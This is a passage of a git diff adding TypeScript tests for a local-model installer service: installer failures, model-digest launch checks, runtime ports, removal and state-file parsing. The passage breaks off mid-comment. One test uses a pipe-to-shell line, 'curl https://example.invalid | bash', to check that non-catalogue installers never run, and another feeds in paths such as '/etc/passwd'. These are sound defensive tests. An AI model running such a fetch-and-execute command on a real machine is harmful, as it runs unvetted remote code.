expect(h.deps.stockInstallCommand).toHaveBeenCalledWith('opencode'); + expect(h.deps.tryBeginCliInstall).toHaveBeenCalledWith('opencode'); + expect(h.deps.runInstallCommand).toHaveBeenCalledTimes(1); + const [command, options] = h.deps.runInstallCommand.mock.calls[0] as unknown as [string, { signal: AbortSignal }]; + expect(command).toBe(INSTALL_COMMAND); + expect(options.signal).toBeInstanceOf(AbortSignal); + // The slot is given back. + expect(h.calls).toContain('release'); + }); + + it('an installer that ends well but leaves no binary is harness-failed: still missing is a failure', async () => { + const h = setup(); + h.deps.runInstallCommand.mockResolvedValue({ code: 0, output: '', timedOut: false, aborted: false }); + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await installAndWait(h.service); + const view = await h.service.view(); + expect(view).toMatchObject({ state: 'failed', step: 'agent' }); + expect(view.error).toEqual({ + code: 'harness-failed', + message: { text: '{cli} could not be installed.', vars: { cli: 'OpenCode' } }, + next: 'retry', + detail: 'The installer finished, but the program was not found afterwards.', + }); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + }); + + it('an installer that fails is harness-failed with its last lines, and the caches are forgotten all the same', async () => { + const h = setup(); + h.deps.runInstallCommand.mockResolvedValue({ + code: 1, + output: `${'x'.repeat(2000)}\ncurl: (6) Could not resolve host`, + timedOut: false, + aborted: false, + }); + await installAndWait(h.service); + const view = await h.service.view(); + expect(view.error?.code).toBe('harness-failed'); + expect(view.error?.detail?.endsWith('curl: (6) Could not resolve host')).toBe(true); + expect(view.error?.detail?.length).toBeLessThanOrEqual(1000); + expect(h.deps.recheckCliInstalled).toHaveBeenCalledTimes(2); + expect(h.deps.audit).toHaveBeenCalledWith( + expect.objectContaining({ action: 'cli_install', detail: expect.objectContaining({ exitCode: 1 }) }) + ); + }); + + it('an installer that timed out says so', async () => { + const h = setup(); + h.deps.runInstallCommand.mockResolvedValue({ code: null, output: 'partial', timedOut: true, aborted: false }); + await installAndWait(h.service); + expect((await h.service.view()).error).toMatchObject({ + code: 'harness-failed', + detail: 'The installer was stopped after 300 seconds.', + }); + }); + + it('an installer that left the binary although it ended badly counts as installed', async () => { + const h = setup(); + h.deps.runInstallCommand.mockImplementation(async () => { + h.world.agentInstalled = true; + return { code: 1, output: 'could not edit .zshrc', timedOut: false, aborted: false }; + }); + await installAndWait(h.service); + expect(h.store.get().state).toBe('installed'); + }); + + it('while the registry route installs the same CLI the step fails instead of running a second installer', async () => { + const h = setup(); + h.deps.tryBeginCliInstall.mockReturnValue(null); + await installAndWait(h.service); + expect((await h.service.view()).error).toMatchObject({ + code: 'harness-failed', + detail: 'Another install of this coding agent is running.', + }); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + }); + + it('never runs a command for a CLI that is not a coding agent of the catalogue', async () => { + const state: LocalModelStateFile = { ...jobAt('agent', 'paused'), cli: { id: 'grok', label: 'Grok Build' } }; + const h = setup({ state }); + h.deps.stockInstallCommand.mockReturnValue('curl https://example.invalid | bash'); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get()).toMatchObject({ state: 'failed', error: { code: 'harness-failed' } }); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.tryBeginCliInstall).not.toHaveBeenCalled(); + }); + + it('the audit line names who resumed the job, not who started it', async () => { + const h = setup({ state: jobAt('agent', 'paused') }); + await h.service.resume({}, { username: 'second-admin', ip: '10.0.0.2' }); + await h.service.idle(); + expect(h.deps.audit).toHaveBeenCalledWith( + expect.objectContaining({ admin: 'second-admin', ip: '10.0.0.2', action: 'cli_install' }) + ); + }); +}); + +// ---------- The launch check ---------- + +describe('launchRefusal: the digest and the runtime decide whether a session starts', () => { + async function installed(overrides: Partial = {}) { + const h = setup({ state: { ...INSTALLED, ...overrides } }); + await h.service.boot(); + return h; + } + + it('allows the launch while our runtime runs and the digest is the stored one', async () => { + const h = await installed(); + h.deps.readModelDigest.mockClear(); + expect(await h.service.launchRefusal('local-ollama')).toBeUndefined(); + // Read again for this launch, not taken from the last look. + expect(h.deps.readModelDigest).toHaveBeenCalledTimes(1); + expect(await h.service.launchRefusalMessage('local-ollama', 'qwen3.6:35b-a3b')).toBeUndefined(); + }); + + it('refuses a model whose digest is no longer the stored one, in one plain sentence', async () => { + const h = await installed(); + h.deps.readModelDigest.mockResolvedValue('1111222233334444'); + expect(await h.service.launchRefusal('local-ollama')).toEqual({ + code: 'model-changed', + message: { text: 'The model on this Mac changed since it was installed. Remove it and install it again.' }, + next: 'remove', + }); + expect(await h.service.launchRefusalMessage('local-ollama', 'qwen3.6:35b-a3b')).toBe( + 'The model on this Mac changed since it was installed. Remove it and install it again.' + ); + // And the window stops offering a session. + expect((await h.service.view()).actions).toEqual(['stop', 'remove']); + }); + + it('a digest with the sha256 prefix some listings add is the same digest', async () => { + const h = await installed(); + h.deps.readModelDigest.mockResolvedValue(`sha256:${DIGEST.toUpperCase()}`); + expect(await h.service.launchRefusal('local-ollama')).toBeUndefined(); + }); + + it('refuses while the runtime is stopped: whatever answers on the port then is not ours', async () => { + const h = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + await h.service.boot(); + expect(await h.service.launchRefusal('local-ollama')).toEqual({ + code: 'runtime-not-running', + message: { text: 'The model on this Mac is not running. Start it first.' }, + next: 'start', + }); + expect(h.deps.readModelDigest).not.toHaveBeenCalled(); + }); + + it('names another program on the port, and a runtime that keeps stopping', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const taken = setup({ state: INSTALLED }); + taken.world.startResult = { ok: false, code: 'port-in-use' }; + await taken.service.boot(); + expect(await taken.service.launchRefusal('local-ollama')).toMatchObject({ + code: 'port-in-use', + message: { vars: { port: '11435' } }, + }); + + const crashing = setup({ state: INSTALLED }); + crashing.world.gaveUp = true; + expect(await crashing.service.launchRefusal('local-ollama')).toMatchObject({ + code: 'runtime-stopped', + next: 'start', + }); + }); + + it('a model that is gone from the runtime is a changed model; a runtime that stopped answering is not running', async () => { + const gone = await installed(); + gone.deps.readModelDigest.mockResolvedValue(undefined); + expect(await gone.service.launchRefusal('local-ollama')).toMatchObject({ code: 'model-changed' }); + + const silent = await installed(); + silent.deps.readModelDigest.mockResolvedValue(undefined); + silent.deps.getRuntimeVersion.mockResolvedValue(undefined); + expect(await silent.service.launchRefusal('local-ollama')).toMatchObject({ code: 'runtime-not-running' }); + }); + + it('is not asked about any other endpoint, nor about a record with our id that is not ours', async () => { + const h = await installed(); + h.deps.readModelDigest.mockResolvedValue('changed'); + expect(await h.service.launchRefusal('office-gpu')).toBeUndefined(); + expect(await h.service.launchRefusalMessage('office-gpu', 'anything')).toBeUndefined(); + + // Nothing installed: a hand-made endpoint with the reserved id is the person's own. + const none = setup(); + expect(await none.service.launchRefusal('local-ollama')).toBeUndefined(); + const { connection: _connection, ...unconnected } = INSTALLED; + const notOurs = setup({ state: unconnected }); + expect(await notOurs.service.launchRefusal('local-ollama')).toBeUndefined(); + }); + + it('only the model that was installed and checked may be started on the managed endpoint', async () => { + const h = await installed(); + expect(await h.service.launchRefusalMessage('local-ollama', 'someone-else:7b')).toBe( + 'Only Qwen3.6 35B-A3B is installed on this Mac. Remove it and install another model first.' + ); + }); + + it('never throws: a state that cannot be read refuses the launch', async () => { + const h = setup({ state: INSTALLED }); + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await h.service.view(); + h.deps.readState = vi.fn(async () => { + throw new Error('EIO'); + }); + const broken = createLocalModelService({ ...(h.deps as unknown as Partial) }); + expect(await broken.launchRefusal('local-ollama')).toMatchObject({ code: 'runtime-not-running' }); + }); + + it('the view re-reads the digest in the background at most every 30 seconds', async () => { + const h = await installed(); + h.deps.readModelDigest.mockClear(); + await h.service.view(); + await h.service.view(); + expect(h.deps.readModelDigest).not.toHaveBeenCalled(); + h.world.clock += 30_000; + h.deps.readModelDigest.mockResolvedValue('changed-under-us'); + await h.service.view(); + await vi.waitFor(async () => expect((await h.service.view()).error?.code).toBe('model-changed')); + expect(h.deps.readModelDigest).toHaveBeenCalledTimes(1); + }); +}); + +// ---------- The runtime verbs ---------- + +describe('the runtime verbs', () => { + it('Stop stops the child and keeps it from starting at the next boot; Start undoes that', async () => { + const h = setup({ state: INSTALLED }); + await h.service.boot(); + const stopped = await h.service.runtime({ action: 'stop' }); + expect(stopped.ok && stopped.view).toMatchObject({ + state: 'installed', + running: false, + actions: ['start', 'remove'], + }); + expect(h.supervisor.stop).toHaveBeenCalledTimes(1); + expect(h.store.get().runtime?.enabled).toBe(false); + + // The next server process does not start it. + const next = setup({ state: h.store.get() }); + await next.service.boot(); + expect(next.supervisor.start).not.toHaveBeenCalled(); + + const started = await h.service.runtime({ action: 'start' }); + expect(started.ok && started.view).toMatchObject({ running: true, actions: ['start-session', 'stop', 'remove'] }); + expect(h.store.get().runtime?.enabled).toBe(true); + }); + + it('Start reads the digest again', async () => { + const h = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + h.deps.readModelDigest.mockResolvedValue('not-the-stored-one'); + const started = await h.service.runtime({ action: 'start' }); + expect(started.ok && started.view.error?.code).toBe('model-changed'); + }); + + it('"Use another port": a port that is not the old one, and the saved endpoint moves with it', async () => { + const h = setup({ state: INSTALLED }); + h.world.startResult = { ok: false, code: 'port-in-use' }; + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await h.service.boot(); + expect((await h.service.view()).error?.code).toBe('port-in-use'); + + h.world.startResult = undefined; + h.deps.chooseRuntimePort.mockResolvedValue(11437); + const result = await h.service.runtime({ action: 'start', newPort: true }); + expect(h.deps.chooseRuntimePort).toHaveBeenCalledWith({ avoid: [11435] }); + expect(h.deps.moveLocalEndpoint).toHaveBeenCalledWith(11437); + expect(h.supervisor.start).toHaveBeenLastCalledWith({ port: 11437, contextLength: 131072 }); + expect(result.ok && result.view).toMatchObject({ port: 11437, running: true }); + expect(result.ok && result.view.error).toBeUndefined(); + expect(h.store.get().runtime).toMatchObject({ port: 11437, enabled: true }); + }); + + it('a refused write of the saved endpoint leaves the old port in the state: the two never disagree', async () => { + const h = setup({ state: INSTALLED }); + h.deps.chooseRuntimePort.mockResolvedValue(11437); + h.deps.moveLocalEndpoint.mockRejectedValue(new Error('custom-model-hosts.json is not a valid JSON list')); + await expect(h.service.runtime({ action: 'start', newPort: true })).rejects.toThrow('custom-model-hosts.json'); + expect(h.store.get().runtime?.port).toBe(11435); + expect(h.supervisor.start).not.toHaveBeenCalled(); + }); + + it('when no other port is free the old one is kept and the error stays', async () => { + const h = setup({ state: INSTALLED }); + h.world.startResult = { ok: false, code: 'port-in-use' }; + vi.spyOn(console, 'warn').mockImplementation(() => {}); + await h.service.boot(); + h.deps.chooseRuntimePort.mockResolvedValue(undefined); + const result = await h.service.runtime({ action: 'start', newPort: true }); + expect(h.deps.moveLocalEndpoint).not.toHaveBeenCalled(); + expect(result.ok && result.view).toMatchObject({ port: 11435, running: false, error: { code: 'port-in-use' } }); + }); +}); + +// ---------- Remove ---------- + +describe('Remove', () => { + it('while a live session uses the model: 409 with the session names, and nothing is touched', async () => { + const h = setup({ state: INSTALLED }); + await h.service.boot(); + const result = await h.service.remove({ removeModel: true }, ['w1-app', 'w4-lib']); + expect(result).toEqual({ + ok: false, + status: 409, + conflict: { + reason: 'sessions-open', + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: 'w1-app, w4-lib' } }, + sessions: ['w1-app', 'w4-lib'], + }, + }); + expect(h.supervisor.stop).not.toHaveBeenCalled(); + expect(h.deps.disconnectLocalModel).not.toHaveBeenCalled(); + expect(h.deps.removeLocalModelFiles).not.toHaveBeenCalled(); + expect(h.store.get().state).toBe('installed'); + expect((await h.service.view()).running).toBe(true); + }); + + it('without one: stops the child, undoes the connection, deletes the files, and is idle again', async () => { + const h = setup({ state: INSTALLED, runtimeOnDisk: true }); + await h.service.boot(); + h.calls.length = 0; + const result = await h.service.remove({}, [], ADMIN); + expect(h.calls).toEqual(['supervisor.stop', 'disconnectLocalModel', 'removeLocalModelFiles']); + expect(h.deps.disconnectLocalModel).toHaveBeenCalledWith({ flagWasEnabled: false }); + // The model stays unless it was asked to go. + expect(h.deps.removeLocalModelFiles).toHaveBeenCalledWith({ models: false, paths: PATHS }); + expect(result.ok && result.view).toEqual({ + state: 'idle', + running: false, + developerTools: 'missing', + runtime: { + version: '0.40.15', + installed: false, + downloadBytes: RUNTIME_BYTES, + downloadGb: '0.2', + unpackedGb: '0.6', + }, + folder: '/data/local-model', + actions: ['install'], + }); + expect(h.store.get()).toMatchObject({ schema: 1, state: 'idle' }); + for (const key of ['model', 'cli', 'runtime', 'connection', 'loaded']) + expect(h.store.get()).not.toHaveProperty(key); + expect(h.deps.audit).toHaveBeenCalledWith({ + admin: 'root', + action: 'local_model_remove', + target: 'qwen3.6:35b-a3b', + ip: '127.0.0.1', + detail: { removeModel: false }, + }); + }); + + it('removeModel deletes the downloaded model too', async () => { + const h = setup({ state: INSTALLED }); + await h.service.remove({ removeModel: true }, []); + expect(h.deps.removeLocalModelFiles).toHaveBeenCalledWith({ models: true, paths: PATHS }); + }); + + it('hands the flag value from before this feature to the disconnect', async () => { + const h = setup({ state: { ...INSTALLED, connection: { endpointId: 'local-ollama', flagWasEnabled: true } } }); + await h.service.remove({}, []); + expect(h.deps.disconnectLocalModel).toHaveBeenCalledWith({ flagWasEnabled: true }); + }); + + it('a paused or failed job has no connection to undo: the files go, sessions on some other endpoint do not matter', async () => { + const h = setup({ state: jobAt('model', 'paused') }); + // The names belong to sessions on an endpoint a person made with our id; it is not ours. + const result = await h.service.remove({ removeModel: true }, ['w1-app']); + expect(result.ok).toBe(true); + expect(h.deps.disconnectLocalModel).not.toHaveBeenCalled(); + expect(h.deps.removeLocalModelFiles).toHaveBeenCalledWith({ models: true, paths: PATHS }); + expect(h.store.get().state).toBe('idle'); + }); + + it('a connection that cannot be undone stops the removal before any file is deleted', async () => { + const h = setup({ state: INSTALLED }); + h.deps.disconnectLocalModel.mockRejectedValue(new Error('custom-model-hosts.json is not a valid JSON list')); + await expect(h.service.remove({ removeModel: true }, [])).rejects.toThrow('custom-model-hosts.json'); + expect(h.deps.removeLocalModelFiles).not.toHaveBeenCalled(); + expect(h.store.get().state).toBe('installed'); + // The service still answers afterwards. + expect((await h.service.view()).state).toBe('installed'); + }); + + it('the coding agent stays: nothing of it is asked for, run or removed', async () => { + const h = setup({ state: INSTALLED }); + await h.service.remove({ removeModel: true }, []); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.stockInstallCommand).not.toHaveBeenCalled(); + expect(h.deps.recheckCliInstalled).not.toHaveBeenCalled(); + }); + + it('after a remove the model can be installed again', async () => { + const h = setup({ state: INSTALLED, agentInstalled: true }); + await h.service.remove({}, []); + await installAndWait(h.service); + expect(h.store.get().state).toBe('installed'); + }); +}); + +// ---------- Remove and the real connection files ---------- + +describe('Remove with the real connection: the settings flag', () => { + const HOSTS = () => customModelHostsPath(getDataDir()); + const OTHER: CustomModelHost = { id: 'office-gpu', label: 'Office GPU', baseUrl: 'http://192.168.1.50:8080' }; + + function writeSettings(settings: Record): void { + mkdirSync(dirname(SETTINGS_PATH), { recursive: true }); + writeFileSync(SETTINGS_PATH, JSON.stringify(settings)); + } + const flag = (): unknown => JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).customModelEndpointsEnabled; + + afterEach(() => { + rmSync(HOSTS(), { force: true }); + rmSync(SETTINGS_PATH, { force: true }); + }); + + /** Installs with the real connect step, then removes with the real disconnect. */ + async function installThenRemove() { + const h = setup({ agentInstalled: true, overrides: { connectLocalModel, disconnectLocalModel } }); + await installAndWait(h.service); + expect(h.store.get().state).toBe('installed'); + expect(flag()).toBe(true); + expect((await readCustomModelHosts(getDataDir())).map((host) => host.id)).toContain('local-ollama'); + const removed = await h.service.remove({}, []); + expect(removed.ok).toBe(true); + expect((await readCustomModelHosts(getDataDir())).map((host) => host.id)).not.toContain('local-ollama'); + return h; + } + + it('this feature switched it on and no other endpoint is saved: it is switched off again', async () => { + writeSettings({ customModelEndpointsEnabled: false, tmuxHistoryLimit: 5000 }); + await installThenRemove(); + expect(flag()).toBe(false); + expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).tmuxHistoryLimit).toBe(5000); + }); + + it('it was on before this feature: it stays on', async () => { + writeSettings({ customModelEndpointsEnabled: true }); + await installThenRemove(); + expect(flag()).toBe(true); + }); + + it('this feature switched it on but another endpoint is saved: it stays on, and that endpoint is untouched', async () => { + writeSettings({}); + writeFileSync(HOSTS(), JSON.stringify([OTHER])); + await installThenRemove(); + expect(flag()).toBe(true); + expect(await readCustomModelHosts(getDataDir())).toEqual([OTHER]); + }); + + it('a resumed connect step does not forget that the flag was off before', async () => { + writeSettings({ customModelEndpointsEnabled: false }); + const h = setup({ agentInstalled: true, overrides: { connectLocalModel, disconnectLocalModel } }); + await installAndWait(h.service); + // The connection is written a second time, as a resumed job would: the flag is on by now. + const again = await connectLocalModel({ + port: 11435, + modelId: 'qwen3.6:35b-a3b', + context: 131072, + ours: true, + flagWasEnabled: h.store.get().connection!.flagWasEnabled, + }); + expect(again).toEqual({ ok: true, flagWasEnabled: false }); + await h.service.remove({}, []); + expect(flag()).toBe(false); + }); +}); + +// ---------- The view never throws ---------- + +describe('view()', () => { + it('answers an idle view when a dependency throws', async () => { + const h = setup(); + h.deps.checkDeveloperTools.mockRejectedValue(new Error('spawn failed')); + h.deps.isRuntimeInstalled.mockRejectedValue(new Error('EACCES')); + expect(await h.service.view()).toMatchObject({ + state: 'idle', + developerTools: 'unknown', + runtime: { installed: false, downloadBytes: RUNTIME_BYTES }, + actions: ['install'], + }); + }); + + it('answers the bare idle view when the state itself cannot be read', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const service = createLocalModelService({ + ...(setup().deps as unknown as Partial), + readState: async () => { + throw new Error('EIO'); + }, + }); + expect(await service.view()).toMatchObject({ state: 'idle', running: false, actions: ['install'] }); + }); + + it('computes a download speed for the runtime archive, which reports bytes only', async () => { + let report: (p: { completedBytes: number; totalBytes: number }) => void = () => {}; + const h = setup({ + overrides: { + ensureRuntimeInstalled: vi.fn(async (install?: { signal?: AbortSignal; onProgress?: typeof report }) => { + report = install?.onProgress ?? report; + await untilAborted(install?.signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.deps.ensureRuntimeInstalled).toHaveBeenCalled()); + report({ completedBytes: 0, totalBytes: RUNTIME_BYTES }); + expect((await h.service.view()).progress).not.toHaveProperty('bytesPerSecond'); + h.world.clock += 2_000; + report({ completedBytes: 20_000_000, totalBytes: RUNTIME_BYTES }); + expect((await h.service.view()).progress).toMatchObject({ + completedBytes: 20_000_000, + totalBytes: RUNTIME_BYTES, + bytesPerSecond: 10_000_000, + mbPerSecond: '10', + // (185,971,671 - 20,000,000) / 10,000,000 = 16.6, rounded up. + secondsLeft: 17, + }); + await h.service.cancel(); + }); + + it('names the model to try next only when the catalogue still has it', async () => { + const state: LocalModelStateFile = { + ...jobAt('verify', 'paused'), + state: 'failed', + error: { code: 'no-tool-call', nextModelId: 'gone:1b' }, + }; + const h = setup({ state }); + const view = await h.service.view(); + expect(view.error?.next).toBe('next-model'); + expect(view.error).not.toHaveProperty('nextModel'); + }); +}); diff --git a/test/local-model-state-store.test.ts b/test/local-model-state-store.test.ts new file mode 100644 index 00000000..f6137336 --- /dev/null +++ b/test/local-model-state-store.test.ts @@ -0,0 +1,270 @@ +/** + * @fileoverview The one reader and writer of `local-model.json` (src/local-model/state-store.ts). + * + * What is pinned: + * - reading is TOTAL: a missing file, text that does not parse, another schema, an unknown + * state and a state that lacks a member it needs all read as idle, and a member of the + * wrong type is dropped rather than trusted; + * - the file holds no path, so nothing in it can point a delete anywhere; + * - writes are serialized, go through a temp file, are mode 0600 and stamp `updatedAt`. + * + * Port: N/A (no server; the file lives in the test's temp data dir). + */ +import { afterEach, describe, expect, it } from 'vitest'; +import { existsSync, readdirSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs'; +import { dirname } from 'node:path'; +import { dataPath } from '../src/config/instance.js'; +import { + IDLE_LOCAL_MODEL_STATE, + mutateLocalModelState, + parseLocalModelState, + readLocalModelState, +} from '../src/local-model/state-store.js'; +import type { LocalModelStateFile } from '../src/types.js'; + +const FILE = () => dataPath('local-model.json'); + +const INSTALLED: LocalModelStateFile = { + schema: 1, + state: 'installed', + model: { + id: 'qwen3.6:35b-a3b', + label: 'Qwen3.6 35B-A3B', + context: 131072, + pullBytes: 23_105_798_956, + digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba', + }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, pid: 4711, enabled: true, measuredTotalBytes: 40_157_944_217 }, + loaded: { context: 131072, sizeBytes: 26_300_000_000, sizeVramBytes: 26_300_000_000 }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + updatedAt: '2026-11-06T10:00:00.000Z', +}; + +const PAUSED: LocalModelStateFile = { + schema: 1, + state: 'paused', + step: 'model', + steps: ['runtime', 'model', 'verify', 'agent', 'connect'], + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + progress: { completedBytes: 6_200_000_000, totalBytes: 23_105_798_956 }, +}; + +const FAILED: LocalModelStateFile = { + ...PAUSED, + state: 'failed', + step: 'verify', + error: { + code: 'no-tool-call', + vars: { model: 'Qwen3.6 35B-A3B' }, + detail: 'finish_reason stop', + nextModelId: 'gpt-oss:20b', + }, +}; + +afterEach(() => { + rmSync(FILE(), { force: true }); +}); + +describe('parseLocalModelState', () => { + it('reads back exactly what a state of each kind holds', () => { + for (const state of [INSTALLED, PAUSED, FAILED, { ...PAUSED, state: 'installing' as const }]) { + expect(parseLocalModelState(JSON.stringify(state))).toEqual(state); + } + }); + + it.each([ + ['an empty file', ''], + ['text that does not parse', '{"schema":1,"state":"installed",'], + ['a list', '[]'], + ['null', 'null'], + ['another schema', JSON.stringify({ ...INSTALLED, schema: 2 })], + ['no schema', JSON.stringify({ state: 'installed' })], + ['an unknown state', JSON.stringify({ ...INSTALLED, state: 'ready' })], + ['idle', JSON.stringify({ schema: 1, state: 'idle', model: INSTALLED.model })], + ['idle with everything a job has', JSON.stringify({ ...PAUSED, state: 'idle' })], + ['idle with everything an installation has', JSON.stringify({ ...INSTALLED, state: 'idle' })], + ])('%s reads as idle', (_label, raw) => { + expect(parseLocalModelState(raw)).toBe(IDLE_LOCAL_MODEL_STATE); + }); + + it('a state that lacks a member it needs is not trusted: it reads as idle', () => { + const without = (state: LocalModelStateFile, key: keyof LocalModelStateFile) => { + const copy: Record = { ...state }; + delete copy[key]; + return JSON.stringify(copy); + }; + // Installed needs its model, its coding agent and its runtime (the port). + expect(parseLocalModelState(without(INSTALLED, 'model'))).toBe(IDLE_LOCAL_MODEL_STATE); + expect(parseLocalModelState(without(INSTALLED, 'cli'))).toBe(IDLE_LOCAL_MODEL_STATE); + expect(parseLocalModelState(without(INSTALLED, 'runtime'))).toBe(IDLE_LOCAL_MODEL_STATE); + // A job needs its step and its steps, and a failed one its error. + expect(parseLocalModelState(without(PAUSED, 'step'))).toBe(IDLE_LOCAL_MODEL_STATE); + expect(parseLocalModelState(without(PAUSED, 'steps'))).toBe(IDLE_LOCAL_MODEL_STATE); + expect(parseLocalModelState(without(FAILED, 'error'))).toBe(IDLE_LOCAL_MODEL_STATE); + expect(parseLocalModelState(JSON.stringify({ ...PAUSED, step: 'agent', steps: ['runtime', 'model'] }))).toBe( + IDLE_LOCAL_MODEL_STATE + ); + expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'model'] }))).toBe( + IDLE_LOCAL_MODEL_STATE + ); + expect(parseLocalModelState(JSON.stringify({ ...PAUSED, steps: ['runtime', 'model', 'reboot'] }))).toBe( + IDLE_LOCAL_MODEL_STATE + ); + expect(parseLocalModelState(JSON.stringify({ ...FAILED, error: { code: 'made-up' } }))).toBe( + IDLE_LOCAL_MODEL_STATE + ); + }); + + it('drops a member of the wrong type instead of trusting it', () => { + const parsed = parseLocalModelState( + JSON.stringify({ + ...INSTALLED, + model: { ...INSTALLED.model, pullBytes: '23 GB', digest: 12 }, + runtime: { ...INSTALLED.runtime, pid: 'four', measuredTotalBytes: -1 }, + loaded: { context: 131072, sizeBytes: 'big', sizeVramBytes: 1 }, + connection: { endpointId: 'local-ollama', flagWasEnabled: 'no' }, + updatedAt: 5, + }) + ); + expect(parsed).toEqual({ + schema: 1, + state: 'installed', + model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 }, + cli: { id: 'opencode', label: 'OpenCode' }, + runtime: { version: '0.40.15', port: 11435, enabled: true }, + }); + }); + + it('a port that is not a port makes the runtime unknown', () => { + for (const port of [0, 70_000, 11435.5, '11435', null]) { + expect( + parseLocalModelState(JSON.stringify({ ...PAUSED, runtime: { version: '0.40.15', port, enabled: true } })) + ).not.toHaveProperty('runtime'); + } + }); + + it('only an explicit false switches the runtime off', () => { + const enabled = (value: unknown) => + parseLocalModelState( + JSON.stringify({ ...INSTALLED, runtime: { version: '0.40.15', port: 11435, enabled: value } }) + ).runtime?.enabled; + expect(enabled(false)).toBe(false); + expect(enabled(true)).toBe(true); + expect(enabled(undefined)).toBe(true); + expect(enabled('false')).toBe(true); + }); + + it('drops members it does not know, at every level: a state file holds no path', () => { + const parsed = parseLocalModelState( + JSON.stringify({ + ...INSTALLED, + root: '/Users/me', + runtimeDir: '/', + model: { ...INSTALLED.model, path: '/etc' }, + runtime: { ...INSTALLED.runtime, binary: '/bin/sh' }, + connection: { ...INSTALLED.connection, file: '/etc/passwd' }, + }) + ); + expect(parsed).toEqual(INSTALLED); + expect(JSON.stringify(parsed)).not.toContain('/'); + }); + + it('keeps the model a replaced job left behind on a job, and never on an installed state', () => { + expect(parseLocalModelState(JSON.stringify({ ...PAUSED, replacedModelId: 'qwen3.8:27b' })).replacedModelId).toBe( + 'qwen3.8:27b' + ); + expect(parseLocalModelState(JSON.stringify({ ...INSTALLED, replacedModelId: 'qwen3.8:27b' }))).not.toHaveProperty( + 'replacedModelId' + ); + }); + + it('an error is kept only on a failed job, and progress and a step only on a job', () => { + expect(parseLocalModelState(JSON.stringify({ ...PAUSED, error: FAILED.error }))).not.toHaveProperty('error'); + const installed = parseLocalModelState( + JSON.stringify({ + ...INSTALLED, + error: FAILED.error, + step: 'connect', + steps: PAUSED.steps, + progress: PAUSED.progress, + }) + ); + expect(installed).toEqual(INSTALLED); + }); +}); + +describe('readLocalModelState', () => { + it('is idle when the file is missing, and never throws', async () => { + expect(existsSync(FILE())).toBe(false); + expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE); + }); + + it('is idle for a file that does not parse', async () => { + writeFileSync(FILE(), 'not json'); + expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE); + }); + + it('reads what is stored', async () => { + writeFileSync(FILE(), JSON.stringify(INSTALLED)); + expect(await readLocalModelState()).toEqual(INSTALLED); + }); +}); + +describe('mutateLocalModelState', () => { + it('writes the returned state, stamps updatedAt, and answers with before and after', async () => { + const { updatedAt: _stamp, ...paused } = PAUSED; + const { before, after } = await mutateLocalModelState(() => paused); + expect(before).toBe(IDLE_LOCAL_MODEL_STATE); + expect(after).toMatchObject(paused); + expect(Number.isNaN(Date.parse(after!.updatedAt!))).toBe(false); + expect(await readLocalModelState()).toEqual(after); + }); + + it('writes nothing when the change returns undefined: no file appears', async () => { + const { before, after } = await mutateLocalModelState(() => undefined); + expect(before).toBe(IDLE_LOCAL_MODEL_STATE); + expect(after).toBeUndefined(); + expect(existsSync(FILE())).toBe(false); + }); + + it('the file is mode 0600 and no temp file is left beside it', async () => { + await mutateLocalModelState(() => PAUSED); + expect(statSync(FILE()).mode & 0o777).toBe(0o600); + expect(readdirSync(dirname(FILE())).filter((name) => name.startsWith('local-model.json'))).toEqual([ + 'local-model.json', + ]); + }); + + it('changes started together run one after the other: none is lost', async () => { + await mutateLocalModelState(() => PAUSED); + const add = (bytes: number) => + mutateLocalModelState((current) => ({ + ...current, + progress: { + completedBytes: (current.progress?.completedBytes ?? 0) + bytes, + totalBytes: 23_105_798_956, + }, + })); + await Promise.all(Array.from({ length: 10 }, () => add(1_000))); + expect((await readLocalModelState()).progress?.completedBytes).toBe(6_200_000_000 + 10_000); + }); + + it('a change that throws rejects its own caller and the next one still runs', async () => { + const thrown = mutateLocalModelState(() => { + throw new Error('boom'); + }); + const next = mutateLocalModelState(() => PAUSED); + await expect(thrown).rejects.toThrow('boom'); + expect((await next).after).toMatchObject({ state: 'paused' }); + }); + + it('replaces a file that does not parse: it holds nothing of the person to lose', async () => { + writeFileSync(FILE(), '{broken'); + const { before } = await mutateLocalModelState(() => PAUSED); + expect(before).toBe(IDLE_LOCAL_MODEL_STATE); + expect(JSON.parse(readFileSync(FILE(), 'utf8'))).toMatchObject({ schema: 1, state: 'paused' }); + }); +}); diff --git a/test/routes/local-model-launch-guard.test.ts b/test/routes/local-model-launch-guard.test.ts new file mode 100644 index 00000000..ce77f5f0 --- /dev/null +++ b/test/routes/local-model-launch-guard.test.ts @@ -0,0 +1,304 @@ +/** + * @fileoverview The launch guard of the endpoint the local model install manages: both ways a + * session gets onto a custom model endpoint ask the install service first. + * + * - `POST /api/sessions/:id/custom-model` (a running session switches to the endpoint), and + * - `POST /api/quick-start` with 